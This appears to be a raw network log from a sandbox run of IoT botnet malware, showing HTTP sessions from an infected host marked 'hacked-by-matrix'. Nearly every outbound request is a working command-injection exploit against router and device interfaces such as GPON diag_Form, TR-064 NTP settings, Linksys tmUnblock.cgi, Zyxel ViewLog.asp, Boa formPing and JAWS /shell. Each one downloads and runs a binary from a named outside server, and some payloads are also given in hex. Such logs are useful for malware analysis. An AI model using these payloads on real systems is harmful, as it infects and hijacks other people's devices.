Mar 21, 2024 05:17:44.516100883 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:45.750879049 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:45.990461111 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:50.042279005 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.13	60142	62.91.165.109	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.554289103 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.13	41238	119.218.100.36	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.560883045 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.13	44616	62.30.4.74	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.564332962 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.723783970 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:54.867913961 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:06.899815083 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:31.219847918 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.13	35114	62.29.72.72	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.600678921 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.13	54204	46.141.111.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.660418987 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:45.779896975 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:47.092803001 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.13	53290	83.167.161.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.879235983 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:45.043936968 CET	372	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:17:44 GMT Content-Type: text/html Content-Length: 166 Connection: keep-alive Location: https://127.0.0.1:443/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>
Mar 21, 2024 05:17:45.043975115 CET	296	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:44 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.13	53570	172.65.125.174	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.883040905 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.13	36478	176.173.13.167	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.965457916 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.13	51184	89.74.168.75	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.004329920 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.13	39250	54.158.34.160	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.083444118 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:45.779943943 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:46.614619970 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:46.715670109 CET	538	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:46 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: SAMEORIGIN Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 70 69 2d 73 74 61 67 69 6e 67 2e 61 69 6d 61 70 6d 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at api-staging.aimapms.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.13	59180	5.212.30.38	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.197973967 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:48.211786985 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:54.355812073 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:06.391803026 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:31.225179911 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.13	33918	184.19.218.134	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.201173067 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.13	48700	99.248.63.106	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.204183102 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.13	50722	41.76.215.47	80

Timestamp	Bytes transferred	Direction	Data
